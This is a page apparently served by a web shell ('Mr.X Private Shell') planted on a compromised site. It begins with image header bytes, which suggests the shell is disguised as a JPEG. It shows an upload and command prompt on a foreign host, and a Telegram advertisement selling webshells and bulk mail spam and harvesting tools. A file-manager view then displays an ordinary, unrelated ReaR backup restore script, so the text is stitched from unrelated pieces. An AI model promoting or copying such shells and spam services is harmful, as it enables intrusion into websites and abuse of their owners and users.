����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

antiaginglove@216.73.216.231: ~ $
# 400_restore_with_nsr.sh
#
# The variable NSR_HAS_PROMPT has been set in the script
# usr/share/rear/verify/NSR/default/390_request_point_in_time_restore_parameters.sh
# in case NSR_CLIENT_MODE=YES and NSR_CLIENT_REQUEST_RESTORE=YES or unset.
# These combinations will prompt the user for a recovery
# (see explanation under "BACKUP=NSR" in default.conf).

if is_true "$NSR_HAS_PROMPT"; then
    LogPrint "Please let the restore process start on Your backup server i.e. $(cat $VAR_DIR/recovery/nsr_server)."
    LogPrint "Make sure all required data is restored to $TARGET_FS_ROOT ."
    LogPrint ""
    LogPrint "When the restore is finished type 'exit' to continue the recovery."
    LogPrint "Info: You can check the recovery process i.e. with the command 'df'."
    LogPrint ""

    rear_shell "Has the restore been completed and are You ready to continue the recovery?"
else
    LogUserOutput "Starting nsrwatch on console 8"
    # Leaving out the "-p 1" since it is not working at least for EMC networker client 8.4.2
    # Legacy: nsrwatch -p 1 -s $(cat $VAR_DIR/recovery/nsr_server) </dev/tty8 >/dev/tty8 &
    TERM=linux nsrwatch -s $(cat $VAR_DIR/recovery/nsr_server) </dev/tty8 >/dev/tty8 &

    LogUserOutput "Restore filesystem $(cat $VAR_DIR/recovery/nsr_paths) with recover"

    # If a point-in-time recovery requested use this date/time as recover argument
    # else leave it empty
    if [ ${#NSR_ENDTIME[@]} -gt 0 ] ; then
        recover_date="${NSR_ENDTIME[@]}"
        recover_args="-t ${recover_date}"
        LogUserOutput "The recovery date/time is set to ${recover_date} ."
    else
        recover_args=""
        LogUserOutput "The most recent recovery date/time will be used."
    fi

    blank=" "
    # Use the original STDOUT when 'rear' was launched by the user for the 'while read ... echo' output
    # (which also reads STDERR of the 'recover' command so that 'recover' errors are 'echo'ed to the user)
    # but keep STDERR of the 'while' command going to the log file so that 'rear -D' output goes to the log file:
    recover -s $(cat $VAR_DIR/recovery/nsr_server) -c $(hostname) -d $TARGET_FS_ROOT -a $(cat $VAR_DIR/recovery/nsr_paths) $recover_args 2>&1 \
      | while read -r ; do
            echo -ne "\r${blank:1-COLUMNS}\r"
            case "$REPLY" in
                *:*\ *)
                    echo "$REPLY"
                    ;;
                ./*)
                    if [ "${#REPLY}" -ge $((COLUMNS-5)) ] ; then
                        echo -n "... ${REPLY:5-COLUMNS}"
                    else
                        echo -n "$REPLY"
                    fi
                    ;;
                *)
                    echo "$REPLY"
                    ;;
            esac
        done 1>&7
fi

Filemanager

Name Type Size Permission Actions
400_restore_with_nsr.sh File 2.69 KB 0644